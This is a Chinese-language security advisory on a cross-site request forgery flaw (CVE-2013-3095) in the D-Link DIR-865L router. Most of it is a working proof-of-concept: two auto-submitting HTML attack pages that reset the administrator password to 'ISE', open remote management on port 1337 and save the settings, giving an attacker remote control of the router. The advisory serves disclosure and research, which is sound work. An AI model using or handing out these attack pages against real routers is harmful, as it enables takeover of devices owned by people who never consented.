D-Link DIR-865L 跨站请求伪造漏洞
D-Link DIR-865L 跨站请求伪造漏洞
发布日期：2013-04-19
更新日期：2013-04-23
受影响系统：
D-Link DIR-865L
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 59312
CVE(CAN) ID: CVE-2013-3095
D-Link DIR-865L是企业级无线路由器。
D-Link DIR-865L 1.03及其他版本在验证用户请求的实现上存在安全漏洞，用户可通过这些请求执行某些操作，比如浏览特制网页时更改登录凭证，启用某些服务等。
<*来源：Jacob Holcomb
链接：http://secunia.com/advisories/53064/
http://securityevaluators.com/content/case-studies/routers/dlink_dir865l.jsp
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Jacob Holcomb （）提供了如下测试方法：
In the following proof of concept attack, we assume that a device administrator with an active management session established with the router has browsed to a malicious web page. Once there, a series of automatic form submissions take place, one after the other, to the administrator's router, from the administrator's browser. Since the administrator has a current session established with the router, the form submissions are processed.
The first form (Figure 1) is pre-filled out with the information required to set the administrator password to "ISE" and enable remote management on port 1337. The second form completes the action, by instructing the D-Link to save the settings its been given.
-------------------------- Figure 1. Attack page 1. --------------------------
<html>
<head>
<title> D-LINK DIR-865L CSRF</title>
<!-- Firmware Version: 1.03 Fri 02 Nov 2012 -->
</head>
<body>
<form name="dlinkXML" action="http://192.168.0.1/hedwig.cgi"
enctype="text/plain" method="post">
<input type="hidden" name="<?xml version" value="'1.0' encoding='UTF-8'?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-865L</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid/>
<password>ISE</password>
<group>0</group>
<description/>
</entry>
</account>
<group>
<seqno/>
<max/>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy/>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
<module>
<service>HTTP.WAN-1</service>
<inf>
<web>1337</web>
<https_rport></https_rport>
<stunnel>1</stunnel>
<weballow>
<hostv4ip/>
</weballow>
<inbfilter></inbfilter>
</inf>
</module>
<module>
<service>HTTP.WAN-2</service>
<inf>
<web>1337</web>
<weballow></weballow>
</inf>
</module>
<module>
<service>INBFILTER</service>
<acl>
<inbfilter>
<seqno>1</seqno>
<max>24</max>
<count>0</count>
</inbfilter>
</acl>
<ACTIVATE>ignore</ACTIVATE>
<FATLADY>ignore</FATLADY>
<SETCFG>ignore</SETCFG>
</module>
<module>
<service>SHAREPORT</service>
<FATLADY>ignore</FATLADY>
<ACTIVATE>ignore</ACTIVATE>
</module>
</postxml>">
</form>
<script>
function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000)
function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");};
window.setTimeout(CSRF2,1000)
</script>
</body>
</html>
-------------------------- Figure 1. Attack page 1. --------------------------
-------------------------- Figure 2. Attack page 2. --------------------------
<html>
<head>
<title> D-LINK DIR-865L CSRF</title>
<!-- Firmware: 1.03 Fri 02 Nov 2012 -->
</head>
<body>
<form name="DLINK" action="http://192.168.0.1/pigwidgeon.cgi" method="post">
<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,ACTIVATE">
</form>
<script>
document.DLINK.submit()
</script>
</body>
</html>
-------------------------- Figure 2. Attack page 2. --------------------------
At this point, the attacker can remotely administer, and thereby remotely control the router.
建议：
--------------------------------------------------------------------------------
厂商补丁：
D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-865l-cloud-router-5700
评论暂时关闭